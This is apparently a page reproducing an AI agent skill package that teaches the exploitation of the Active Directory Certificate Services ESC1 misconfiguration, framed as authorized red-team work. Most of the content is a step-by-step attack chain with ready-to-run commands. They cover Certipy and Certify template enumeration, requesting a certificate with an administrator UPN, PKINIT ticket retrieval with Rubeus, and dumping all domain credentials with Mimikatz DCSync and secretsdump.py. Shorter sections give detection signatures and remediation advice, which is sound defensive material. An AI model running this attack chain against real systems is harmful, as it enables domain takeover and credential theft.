What it does. Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).
Install
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-active-directory-certificate-services-esc1, or copy the skill folder into ~/.claude/skills/exploiting-active-directory-certificate-services-esc1/.- Raw file:
curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/exploiting-active-directory-certificate-services-esc1/SKILL.md
SKILL.md (verbatim)
name: exploiting-active-directory-certificate-services-esc1
description: Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1
vulnerability to request certificates as high-privileged users and escalate domain
privileges during authorized red team assessments.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- ad-cs
- esc1
- certificate-abuse
- privilege-escalation
- domain-escalation
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Content Format Conversion
- File Content Analysis
- Platform Hardening
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1595
- T1190
- T1059
- T1078
- T1068
Exploiting Active Directory Certificate Services ESC1
Overview
ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).
When to Use
- When performing authorized security testing that involves exploiting active directory certificate services esc1
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
- Identify vulnerable ESC1 templates with "Supply in Request" enabled
- Request a certificate specifying a Domain Admin in the SAN field
- Authenticate using the forged certificate via PKINIT to obtain a TGT
- Escalate privileges to Domain Admin using the obtained Kerberos ticket
- Document the full attack chain for the engagement report
MITRE ATT&CK Mapping
- T1649 - Steal or Forge Authentication Certificates
- T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
- T1078.002 - Valid Accounts: Domain Accounts
- T1484 - Domain Policy Modification
- T1087.002 - Account Discovery: Domain Account
Workflow
Phase 1: AD CS Enumeration
- Enumerate Certificate Authority (CA) servers in the domain:
# Using Certify (Windows)
Certify.exe cas
# Using Certipy (Linux/Python)
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
- Enumerate all certificate templates and identify vulnerable ones:
# Using Certify - find vulnerable templates
Certify.exe find /vulnerable
# Using Certipy - outputs JSON and text reports
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
- Verify ESC1 conditions on identified templates:
msPKI-Certificate-Name-Flag contains ENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsage contains Client Authentication or Smart Card LogonmsPKI-Enrollment-Flag does not require manager approval- Low-privileged group (Domain Users, Authenticated Users) has Enroll rights
Phase 2: Certificate Request with Arbitrary SAN
- Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
# Using Certify (Windows)
Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
# Using Certipy (Linux)
certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
- The CA issues a certificate with the Domain Admin's UPN in the SAN field
- Save the output certificate in PFX/PEM format
Phase 3: Authentication with Forged Certificate
- Convert the certificate if needed (Certify outputs PEM, convert to PFX):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
- Authenticate using PKINIT to obtain a TGT for the impersonated user:
# Using Rubeus (Windows)
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
# Using Certipy (Linux)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
- The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)
Phase 4: Domain Privilege Escalation
- With the Domain Admin TGT, perform privileged operations:
# DCSync to dump all domain credentials
mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
# Or using secretsdump.py with the obtained NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
- Validate Domain Admin access:
# List domain controllers
dir \\DC01.domain.local\C$
# Access Domain Admin shares
dir \\DC01.domain.local\SYSVOL
| Tool |
Purpose |
Platform |
| Certify |
AD CS enumeration and certificate requests |
Windows (.NET) |
| Certipy |
AD CS enumeration, request, and authentication |
Linux (Python) |
| Rubeus |
Kerberos authentication with certificates (PKINIT) |
Windows (.NET) |
| Mimikatz |
Credential dumping post-escalation |
Windows |
| secretsdump.py |
Remote credential dumping (Impacket) |
Linux (Python) |
| PSPKIAudit |
PowerShell AD CS auditing module |
Windows |
| ForgeCert |
Certificate forgery tool |
Windows (.NET) |
Vulnerable Template Indicators
| Condition |
Vulnerable Value |
| msPKI-Certificate-Name-Flag |
ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage |
Client Authentication (1.3.6.1.5.5.7.3.2) |
| Enrollment Rights |
Domain Users or Authenticated Users |
| msPKI-Enrollment-Flag |
No manager approval required |
| CA Setting |
No approval workflow enforced |
Detection Signatures
| Indicator |
Detection Method |
| Certificate request with SAN different from requester |
Windows Event 4886 / 4887 on CA server |
| Unusual PKINIT authentication |
Event 4768 with certificate-based pre-auth |
| Certify.exe or Certipy execution |
EDR process monitoring and command-line logging |
| Mass certificate template enumeration |
LDAP query monitoring for pkiCertificateTemplate objects |
| Certificate issued to non-matching UPN |
CA audit logs and certificate transparency |
Validation Criteria
Other files in this skill
assets/template.md (verbatim)
AD CS ESC1 Assessment Template
Engagement Details
| Field |
Value |
| Assessment Date |
|
| Target Domain |
|
| CA Server(s) |
|
| Assessor |
|
| CA Name |
Server |
Type |
OS Version |
|
|
Enterprise / Standalone |
|
Vulnerable Templates Identified
| Template Name |
ENROLLEE_SUPPLIES_SUBJECT |
Auth EKU |
Low-Priv Enroll |
No Approval |
ESC1 |
|
Yes/No |
Yes/No |
Yes/No |
Yes/No |
Yes/No |
Exploitation Evidence
| Step |
Action |
Result |
Screenshot |
| 1 |
CA Enumeration |
|
|
| 2 |
Template Discovery |
|
|
| 3 |
Certificate Request with SAN |
|
|
| 4 |
PKINIT Authentication |
|
|
| 5 |
Privilege Validation |
|
|
| # |
Recommendation |
Priority |
Status |
| 1 |
Disable Supply in Request on vulnerable templates |
Critical |
|
| 2 |
Enable manager approval for certificate requests |
High |
|
| 3 |
Restrict template enrollment to specific groups |
High |
|
| 4 |
Enable CA audit logging |
Medium |
|
| 5 |
Deploy certificate monitoring |
Medium |
|
references/api-reference.md (verbatim)
API Reference: AD CS ESC1 Vulnerability
ESC1 — Enrollee Supplies Subject Alternative Name
Vulnerability Conditions
- Template allows enrollee to supply SAN (
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
- Template has Client Authentication EKU (OID 1.3.6.1.5.5.7.3.2)
- Low-privileged users (Domain Users) can enroll
- No manager approval required
Find Vulnerable Templates
certipy find -u user@domain.local -p password -dc-ip 10.10.10.1 -vulnerable
Request Certificate with SAN (ESC1)
certipy req -u user@domain.local -p password -dc-ip 10.10.10.1 \
-ca CORP-CA -template VulnerableTemplate \
-upn administrator@domain.local
Authenticate with Certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
certutil — Windows Built-in
List Templates
certutil -v -template
certutil -catemplates
certutil -TCAInfo
Request Certificate
certutil -submit -attrib "SAN:upn=admin@domain.local" request.req
Certificate Template Flags
msPKI-Certificate-Name-Flag
| Value |
Name |
Risk |
| 0x00000001 |
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT |
CRITICAL |
| 0x00010000 |
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME |
CRITICAL |
msPKI-Enrollment-Flag
| Value |
Name |
| 0x00000002 |
CT_FLAG_PEND_ALL_REQUESTS (manager approval) |
| 0x00000020 |
CT_FLAG_AUTO_ENROLLMENT |
LDAP Queries for AD CS
Find templates with ENROLLEE_SUPPLIES_SUBJECT
(&(objectClass=pKICertificateTemplate)
(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))
Find CAs
(objectClass=pKIEnrollmentService)
PowerShell — PSPKI Module
Install
Install-Module -Name PSPKI
Get Templates
Get-CertificateTemplate | Where-Object {
$_.Flags -band 1 # ENROLLEE_SUPPLIES_SUBJECT
} | Select-Object Name, Flags, OID
- Remove
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT from template flags
- Require CA manager approval for certificate issuance
- Restrict enrollment permissions to specific security groups
- Enable certificate auditing (Event ID 4887)
references/standards.md (verbatim)
Standards and References - AD CS ESC1 Exploitation
MITRE ATT&CK References
| Technique ID |
Name |
Tactic |
| T1649 |
Steal or Forge Authentication Certificates |
Credential Access |
| T1558.001 |
Steal or Forge Kerberos Tickets: Golden Ticket |
Credential Access |
| T1078.002 |
Valid Accounts: Domain Accounts |
Initial Access, Persistence |
| T1484 |
Domain Policy Modification |
Defense Evasion |
| T1087.002 |
Account Discovery: Domain Account |
Discovery |
Key Research
- SpecterOps "Certified Pre-Owned" whitepaper by Will Schroeder and Lee Christensen (2021)
- CrowdStrike: Investigating Active Directory Certificate Services Abuse: ESC1
- BeyondTrust: ESC1 Attack - How to Detect and Mitigate
- Semperis: ESC1 Attack Explained
- HackTricks: AD CS Domain Escalation
CVE References
- ESC1 is a misconfiguration, not a specific CVE
- Related: CVE-2022-26923 (Certifried) - AD CS machine account certificate abuse
- Microsoft KB5014754: Certificate-based authentication changes
- CISA Alert: Securing AD CS deployments
- CIS Benchmark: AD CS hardening guidelines
references/workflows.md (verbatim)
Workflows - AD CS ESC1 Exploitation
ESC1 Attack Chain Workflow
1. Enumeration
├── Identify CA servers: Certify.exe cas / certipy find
├── List certificate templates: Certify.exe find
├── Filter for vulnerable templates: /vulnerable flag
└── Verify ESC1 conditions (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU)
2. Certificate Request
├── Choose target principal (Domain Admin, Enterprise Admin)
├── Request certificate with target UPN in SAN field
├── CA processes request without approval (misconfigured)
└── Save issued certificate (PFX/PEM)
3. Authentication
├── Convert certificate format if needed (PEM → PFX)
├── Use PKINIT to request TGT with forged certificate
├── Rubeus (Windows): asktgt /certificate:<pfx>
├── Certipy (Linux): auth -pfx <certificate>
└── Obtain TGT or NT hash for target account
4. Privilege Escalation
├── Use obtained TGT/hash for privileged operations
├── DCSync: Dump all domain credentials
├── Access Domain Controller shares
└── Establish persistence as needed
5. Documentation
├── Screenshot each step of the attack chain
├── Record CA name, template name, and SAN used
├── Document credentials obtained
└── Provide remediation guidance
Certipy Full Attack Workflow (Linux)
# Step 1: Find vulnerable templates
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
# Step 2: Request certificate as administrator
certipy req -u user@domain.local -p 'Password123' \
-ca 'domain-CA' -target DC01.domain.local \
-template VulnerableTemplate \
-upn administrator@domain.local
# Step 3: Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# Step 4: Use recovered NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.